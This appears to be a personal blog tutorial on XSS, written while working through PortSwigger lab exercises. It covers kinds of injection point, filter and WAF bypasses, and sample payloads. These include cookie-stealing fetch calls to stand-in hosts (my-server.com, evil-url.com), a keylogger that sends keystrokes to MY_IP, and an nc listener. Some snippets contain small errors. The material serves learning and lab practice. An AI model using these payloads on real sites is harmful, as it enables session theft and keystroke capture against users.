Enumerating, Evading and Exploiting XSS
Tuesday 15th November 2022
While working through PortSwiggers Web Security Academy, I've encountered quite a few techniques to break out various XSS sinks. I will run through the process to determine precisely what kind of XSS vulnerability we're dealing with and then possible ways to exploit it.
I don't intend to cover all the different XSS vulnerabilities, how to bypass various WAFs, or what to do with a vulnerability when you find it. Just a few examples of each to get you (and me, when I forget!) started in the right direction.
Finding the vulnerability.
What type?
The three main categories for XSS vulnerabilities are:
Reflected - Executed on the server using a payload passed in as part of the same request.
Stored - Also executed on the server but triggered using a separate request to the one that passed our XSS payload.
DOM - Executed by the browser, which can then be broken down into reflected and stored exploits.
Whereabouts?
Once we have established one of them exists, the next thing is finding where precisely our payload is injected on the page.
A Javascript string?
let value = '{PAYLOAD_HERE}'
An HTML element?
<div>{PAYLOAD}<div>
An element attribute?
<input value="{PAYLOAD_HERE}" />
Elsewhere, e.g. a URL?
https://northover.com?value={PAYLOAD_HERE}
Any defences?
Finally, we can start workout out what, if any, characters are escaped, encoded or removed entirely by a WAF or suchlike.
For reflected/stored vulnerabilities, is
strip_strings
,htmlentities
, orhtmlspecialcharaters
being used? Or other language equivalents?Is it a custom regex that's being used?
For DOM applications, what Javascript encoding/validation is going on? Can we find the source code anywhere?
By the end of this process, hopefully, we know the following:
Where our code is being executed
Where it is injected into the response
What characters are stripped from it?
Let's have a look at some ways to bypass common XSS defences.
Common XSS Terms
Source
This is where we can inject our payload, for example, window.location.search
in Javascript or something like $_GET['name']
in a PHP application.
Sink
This is where the code is executed. For reflected/stored attacks, this could be anywhere in the document, but for DOM is usually something like innerHTML
or window.location
.
This is a good article on how DOM sources and sinks work.
Reflected & Stored.
These XSS breakouts occur when the server executes code and returns the results to the browser. These work because the string expression is evaluated on the server, and the result is delivered to the browser to execute.
The basics.
Without thinking about any preventative measures in place, let's have a look at how you'd break out of 3 common scenarios.
// Strings
<?php
$var = "SOME_VALUE_FROM_CLIENT";
echo '<script>var result = "Result: ' . $var . '";</script>';
?>
// Elements
<?php
$var = "SOME_VALUE_FROM_CLIENT";
echo '<div>' . $var . '</div>';
?>
// Attributes
<?php
$var = "SOME_VALUE_FROM_CLIENT";
echo '<input type="text" name="searchTerm" value="' . $var . '" />';
?>
"; alert(1); //"
</div><script>alert(1)</script><div>
" onmouseover="alert(1)
<script>var result = "Result: "; alert(1); //"";</script>
<div></div><script>alert(1)</script><div></div>
<input type="text" name="searchTerm" value="" onmouseover="alert(1)" />
Alternative Payload!
Abusing arithmetic expressions.
When breaking out of strings, there is also "-print()-"
which uses Javascript type conversion to convert a string to an arithmetic expression. This means when it is evaluated, print()
is executed.
This also works when used as part of an `eval`
payload.
DOM
Next, it's time to look at how DOM XSS works. This is when the client executes code directly instead of parsing it on the server beforehand. An example of this could be retrieving a search query from window.location.search
, and parsing that data directly within the browser.
If you find an expected payload is unsuccessful, it's worth double-checking what the parent element you're injecting into is. A `<p>` tag can't contain a `<script>`, but it can contain an `<img src=1 onerror=XSSHERE />` element!
eval()
A simple example is looking at a very insecure use of eval.
function test() {
console.log("XSS! ");
}
const searchTerm = "test()";
const obj = "var test=" + searchTerm + "";
const result = eval(obj);
HTML Attributes
Again, as with reflected and stored, we also can have DOM XSS in HTML attributes. Code passed into event handlers, such as onmouseover
, gets executed when the event happens. This is interesting because HTML-encoded characters inside the value of HTML attributes are decoded on runtime.
The following example does two things:
It avoids a WAF by pre-encoding certain characters, so they aren't blocked or removed when the request is sent.
The payload is reflected within an event handler, so when it is executed, the Javascript engine decodes the value, executing our payload.
'-alert(1)-' // blocked
'-alert(1)-' // OK!
<div onmouseover="var value = ''-alert(1)-&apos';" />
<div onmouseover="var value = ''-alert(1)-'';" />
JSON Objects
If we see that there is a sink within a JSON object, we could work out what properties are used where and then possibly override them or pass hostile values in.
// some-site.com?javascript:fetch('evil-url.com/' + document.cookie)
const object = JSON.parse('{search:"", url:' + window.location.search + '"}')
if (object.url) {
window.location = object.url;
}
Template Engines & Strings
Another one to look at is templated strings and if a framework such as Angular (specifically, its $interpolate
) is being used in the target application. A bare-bones example below shows how we can use Angular template strings to get code execution.
${alert(1)}
Common Defences.
With XSS up there alongside SQL injection as one of the most common and long-standing web application vulnerabilities, many defence mechanisms exist. When trying to find an XSS vulnerability, looking at the use case of whatever input you're enumerating is a good starting point.
If you find an input that is purely for a person's name or age, it's a good chance this could be just run through
htmlspecialchars
(or other language equivalents) which means it's most likely not vulnerable.If we find a comment form that allows certain HTML elements, any validation can't blanket-ban all markup, so there is a much higher chance of code injection here.
Digging through the source code, we might find uses of `window.location.search` or other parameters set from the URL that could provide a source for injection.
Once we know what the application is looking for, the next is seeing how it handles it. Does the app block all requests that are deemed unsafe? Or does it just escape any unsafe characters and carry on? Blocked requests are almost easier as it's quicker to work out if your attempt has succeeded. This is really where your attitude comes in, and things like OffSecs 'Try Harder' mentality really do make sense. You've spent all this time trying to find a vulnerability in the first place, and now you can't get any useful payloads through! ðŸ˜
One common (and insecure) method of sanitising input is to escape/remove/etc. common characters that are deemed unsafe. Below are some basic examples, with links to a few PortSwigger labs for you to try. In most real-world scenarios, these (hopefully) won't be enough, as it's easier and more secure to use language/external library functions. Still, with all these labs/boxes out there, it's good to practise and builds confidence.
Bypassing Escaped/Removed Characters
As you can probably work out, this is not a secure way of sanitising input. However, it's good to know how to bypass certain characters and how to combine them. You'll have to consider how to apply the payloads below to the scenarios we covered above.
A reminder about replace()
If the target is replacing/removing characters client-side, they're quite possibly using `replace()`, which will only replace the first occurrence of a target string.
So you can evade this by activating the filter on an unwanted element `<><script>...`.
Period's Blocked.
This is an excellent, simple example of when a WAF blocks a request when certain characters are present in a payload. This does come in handy for the Burp Certified practice exam...
fetch('//my-server.com/log?cookie=' + document.cookies) // Blocked
fetch('//my-server%2ecom/log?cookie=' + document['cookies']) // OK
Angled Brackets.
Another common one is when <>
angled brackets are escaped to prevent the injection of markup.
"\>\<newElem>...
Single Quotes and Backslashes
Next, we have single quotes escaped preventing string concatenation, and backslashes escaped preventing pre-escaping characters and bypassing any WAF validation.
</script><script>alert(1)</script>
Single, Double Quotes and Angle Brackets
\'-alert(1)//
Double Encoding
Another technique worth remembering is to double-escape any characters that are causing problems. If a WAF auto-escapes certain characters, it may miss it if double-escaping has been applied. The browser, however, may still decode these values correctly.
<
%3c
%25%33%63
<scipt>
%3c%73%63%72%69%70%74%3e
%25%33%63%25%37%33%25%36%33%25%37%32%25%36%39%25%37%30%25%37%34%25%33%65
This is just scratching the surface of defences in place to prevent XSS and various ways to circumvent them. There are plenty of other labs and information on exploiting Reflected & Stored XSS vulnerabilities at PortSwigger.
What kind of payloads, then?
Ok, we've worked out what kind of XSS vulnerability we're dealing with. We've also figured out how to bypass any filters in play to get valid code execution. Now, what do we do with it?
fetching document.cookies
Just to let you know, this one comes in handy a lot on PortSwigger labs and the practice exam...
fetch("http://my-server.com?result=" + document.cookies);
"-fetch('//my-server.com?result=" + document['cookies'])-' // Our (.) period characters are escaped
Key Logger
We could implant a simple keylogger on the site, injecting the full payload - or adding a <script src="keylogger.js" /> into the page.
Web Cache Poisoning
Since we're talking about changing/intercepting the result of a script/resource, this can also be done using Web Cache Poisoning. This is essentially tricking a caching layer into returning a malicious result for a request instead of the legitimate one.
<script type="text/javascript">
 let l = "";
 document.onkeypress = function (e) {
   l += e.key;
   fetch('http://MY_IP/log/' + l);
 }
</script>
nc -lnvp 80
A Summary.
Here, we've touched very lightly on the following:
How to find an XSS vulnerability and determine what type it is.
Bypass very basic character validation or escaping.
Execute a potentially malicious payload to get us sensitive information or some other hostile act.
There is a whole world to XSS, and this article only scratches the surface. Have a read of the links below to discover more.